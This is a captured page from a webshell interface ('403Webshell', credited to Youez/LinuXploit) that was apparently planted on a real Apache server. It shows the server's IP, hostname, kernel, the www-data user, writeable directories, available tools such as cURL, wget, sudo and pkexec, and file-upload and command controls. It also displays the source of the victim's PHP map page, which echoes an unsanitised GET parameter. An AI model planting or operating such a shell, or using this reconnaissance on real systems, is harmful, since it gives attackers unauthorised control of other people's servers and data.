403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/timoe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/timoe/ekarta.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2023.
 Version: 23-04-08
 Author : TIM/M.Kukic
 Note   :  
******************************
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<title>VetroIng</title>
</head
<body>
<div style="width:640px; word-wrap:break-word;">

<?php
//
include "config.php"; 
//
$loc = $_GET["loc"];
//
echo "<fieldset><legend><h3>VTG Mreza</h3></legend><table border=\"0\"></fieldset>";
// https://www.htmlcsscolor.com/hex/FAE6D2 253 250 246 //https://www.381info.com/images/auto-mapa.jpg

echo "<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='640' height='640'>";
echo "<rect width='620' height='640' fill='rgb(253,248,243)' stroke-width='1' stroke='rgb(0,0,0)' />";
//
$h=0.5/400.00;
$dx=7300000.00;
$dy=4650000.00;
//
$tx=-15;
$ty=610;
//
echo "<g stroke='blue'>";
echo "<text x='10' y='20' font-size='20' font-weight='normal' font-family='Arial'>Srbija</text>";
echo "</g>";
//
    $sql = "SELECT * FROM srbija";
if ($vap==5) {	
    $result = mysql_query($sql, $dbh) or die(mysql_error());
    $numofrows = mysql_num_rows($result);
}else{
    $result = mysqli_query($dbh, $sql) or die(mysqli_error());
    $numofrows = mysqli_num_rows($result);
}	
//	
echo "<g stroke='blue'>";
			for ($i = 0; $i < 1900; $i=$i+1) { 	
			if ($vap==5) {	
              $row = mysql_fetch_array($result);
			}else{
			  $row = mysqli_fetch_array($result);
			}
				$x1=$tx+($row['X1']-$dx)*$h;
				$y1=$ty-($row['Y1']-$dy)*$h;
				$x2=$tx+($row['X2']-$dx)*$h;	
				$y2=$ty-($row['Y2']-$dy)*$h;					
				//echo "<text x='0' y='".$x."'>".$x1." ".$y1." ".$x2." ".$y2."</text>";	            
				echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." stroke='blue' stroke-width='2'/>";
			}
echo "</g>";			
//
echo"<g stroke='gray'>";
    $sql = "SELECT * FROM gradovi ORDER BY grad";
if ($vap==5) {
    $result = mysql_query($sql, $dbh) or die(mysql_error());
    $numofrows = mysql_num_rows($result);
}else{
	$result = mysqli_query($dbh, $sql) or die(mysqli_error());
    $numofrows = mysqli_num_rows($result);
}
	for ($i = 0; $i < 40; $i=$i+1) { 
	if ($vap==5) {	
		$row = mysql_fetch_array($result);
	}else{	
		$row = mysqli_fetch_array($result);
	}	
		$gr=($row['grad']);
		$k=30+$i*15;
		$poz=($row['poz']);
		$num=($row['num']);
		if ($mr!="2"){
			echo "<text x='455' y='".$k."' font-size='14' font-weight='normal' font-family='monospace'>".$gr."</text>";
			echo "<text x='560' y='".$k."' font-size='12' font-weight='normal' font-family='monospace' stroke='green'>".$num."</text>";
		}	
		$x=$tx+($row['lon']-$dx)*$h;
		$y=$ty-($row['lat']-$dy)*$h;
		echo "<circle cx='".$x."' cy='".$y."' r='4' stroke='black' stroke-width='1' fill='red' />";
		if ($mr>"0"){
			$x=$x-12;
			if ($poz<0){
			$y=$y-14*$poz;	
			}else{
			$y=$y-8*$poz;
			}
			echo "<text x='".$x."' y='".$y."' font-size='11' font-weight='normal' font-family='monospace'>".$gr."</text>";
		}	
	}
echo "</g>";
//
echo "</svg>";
//
if ($vap==5) {
	mysql_close($dbh);	
}else{	
	mysqli_close($dbh);	
}	
echo "<hr>";
echo "Aktivni VTG: ".$vtg[$loc]." - ".$vtgnam[$loc];
echo "<br>";
echo "<form action='eisvtg.php'>";
  echo "<label for='loc'>Izabrati VTG: </label>";
  echo "<select id='loc' name='loc'>";
    echo "<option value='0'>".$vtg[0]." - ".$vtgnam[0]."</option>";
    echo "<option value='1'>".$vtg[1]." - ".$vtgnam[1]."</option>";
    echo "<option value='2'>".$vtg[2]." - ".$vtgnam[2]."</option>";
    echo "<option value='3'>".$vtg[3]." - ".$vtgnam[3]."</option>";
	echo "<option value='4'>".$vtg[4]." - ".$vtgnam[4]."</option>";
	echo "<option value='5'>".$vtg[5]." - ".$vtgnam[5]."</option>";
  echo "</select>";
  echo "<input type='submit'>";
echo "</form>";
?>
<hr>
<img src="img/b_white-2.png">
<a href="javascript:history.go(-1)"><img src="img/r_ret.png" width="" height="48"></a>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit